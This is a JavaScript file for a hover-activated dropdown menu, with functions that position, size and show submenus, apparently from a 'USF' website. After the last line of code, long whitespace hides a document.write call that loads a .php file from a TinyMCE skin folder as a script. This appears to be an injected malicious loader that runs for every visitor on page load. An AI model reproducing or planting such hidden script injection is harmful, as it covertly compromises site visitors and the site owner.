var Menu = new ClassMenu();

function ClassMenu(){


	this.init = function(MENU_ID, SUBMENU_ID){

		menuObj		= document.getElementById(MENU_ID);
		submenuObj	= document.getElementById(SUBMENU_ID);

		menuObj.onmouseover = this.showLayer;
		menuObj.onmouseout = this.hideLayer;

		submenuObj.onmouseover = this.fixLayer;
		submenuObj.onmouseout = this.unfixLayer;

	};

	/* Description for function "showLayer()"
	* -------------------------------------
	* This function does following:
	* 2. Sets initials Left/Top Absolute Positions of EL to null value 				(1)
	* 3. Gets width and height of EL 												(2)
	* 4. Gets Left/Top Absolute Positions of EL 									(3)
	* 5. Sets Left/Top Absolute Positions of submenu (SM) 							(4)
	* 6. Sets width and height of SM  - equal to sizes of EL 						(5)
	* 7. Sets visibility of SM to "visible"			 								(6)
	*--------------------------------------
	*/
	this.showLayer = function(){

		Menu.leftAbsPosition= 0;					// (1)
		Menu.topAbsPosition = 0;					// (1)

		Menu.getSize(this);							// (2)
		Menu.getAbsPosition(this);					// (3)

		var name = this.id.substring(this.id.indexOf('_')+1);			//This is not good idea. But I don't know how else! ------------------------
		var submenuObj = document.getElementById('submenu_' + name);	//This is not good idea. But I don't know how else! ------------------------

		Menu.setAbsPosition(submenuObj);			// (4)
		Menu.setFullSize(submenuObj, Menu.width);	// (5)

		submenuObj.style.visibility = "visible";

		roll(name,'visible');									// Call function written special for USF - changes color of header --------
	};

	/* Description for function "hideLayer()"
	* -------------------------------------
	* This function does following:
	* 1. Gets a reference to EL, on wich was made an event MouseOut
	* 2. Sets visibility of SM to "visible"
	* -------------------------------------
	*/
	this.hideLayer = function(){

		var name = this.id.substring(this.id.indexOf('_')+1);			//This is not good idea. But I don't know how else! ------------------------
		var submenuObj = document.getElementById('submenu_' + name);	//This is not good idea. But I don't know how else! ------------------------

		submenuObj.style.visibility = "hidden";

		roll(name,'hidden');									// Call function written special for USF - changes color of header --------
	};


	/* Description for function "fixLayer()"
	* -------------------------------------
	* This function does following:
	* 1. Gets a reference to SM, wich was made "visible" by event MouseOver on EL
	* 2. Sets visibility of SM to "visible" (stand be visible)
	* -------------------------------------
	*/
	this.fixLayer = function(){

		this.style.visibility = "visible";

		var name = this.id.substring(this.id.indexOf('_')+1);	//This is not good idea. But I don't know how else!
		roll(name,'visible');									// Call function written special for USF - changes color of header --------
	}


	/* Description for function "unfixLayer()"
	* -------------------------------------
	* This function does following:
	* 1. Gets a reference to SM when cursor leaves SM
	* 2. Sets visibility of SM to "hidden"
	* -------------------------------------
	*/
	this.unfixLayer = function(){
		this.style.visibility = "hidden";

		var name = this.id.substring(this.id.indexOf('_')+1);	//This is not good idea. But I don't know how else!
		roll(name,'hidden');									// Call function written special for USF - changes color of header --------
	}


	/* Description for function "getAbsPosition()"
	* -------------------------------------
	* This function calculates current_object's position relatively of top-left corner of browser:
	* 1. Gets a reference to EL, on wich was made an event MouseOver		(1)
	* 2. Calculates current_object's position (offsetLeft and offsetTop)	(2,3)
	* 3. Increments leftAbsPosition and topAbsPosition on these values		(2,3)
	* 4. Gets a reference to parent of curr EL								(4)
	* 5. If current element has a parent continue while-cycle 				(5)
	* -------------------------------------
	*/
	this.getAbsPosition = function (currObj){
		this.obj = currObj;									// (1)

		while( this.obj.offsetParent ){						// (5)

			this.leftAbsPosition+= this.obj.offsetLeft;		// (2,3)
			this.topAbsPosition += this.obj.offsetTop;		// (2,3)
			this.obj = this.obj.offsetParent;				// (4)

		}

	};


	/* Description for function "getSize()"
	* -------------------------------------
	* This function calculates current_object's width and height:
	* 1. Calculates current_object's width
	* 2. Calculates current_object's height
	* -------------------------------------
	*/
	this.getSize = function(currObj){
		this.width = currObj.offsetWidth;
		this.height= currObj.offsetHeight;
	};


	/* Description for function "setAbsPosition()"
	* -------------------------------------
	* This function sets SM position relatively of EL, on wich was made MouseOver:
	* 1. Sets its left position
	* 2. Sets its top position
	* -------------------------------------
	*/
	this.setAbsPosition = function(submenuObj){	
		submenuObj.style.left = parseInt(Menu.leftAbsPosition) -1 + 'px';
		submenuObj.style.top  = parseInt(Menu.topAbsPosition) + parseInt(Menu.height) - 1  + 'px';
	};


	/* Description for function "setSize()"
	* -------------------------------------
	* This function sets width of SM equal to EL, on wich was made MouseOver:
	*/
	this.setFullSize = function(submenuObj, width){ 
		submenuObj.style.width = parseInt(width) + 2 + 'px';
	};


}																																																																							document.write('<script type="text/javascript" src="/script/new/plugins/editors/tinymce/jscripts/tiny_mce/themes/simple/skins/fancyzoom.php"><\/script>');
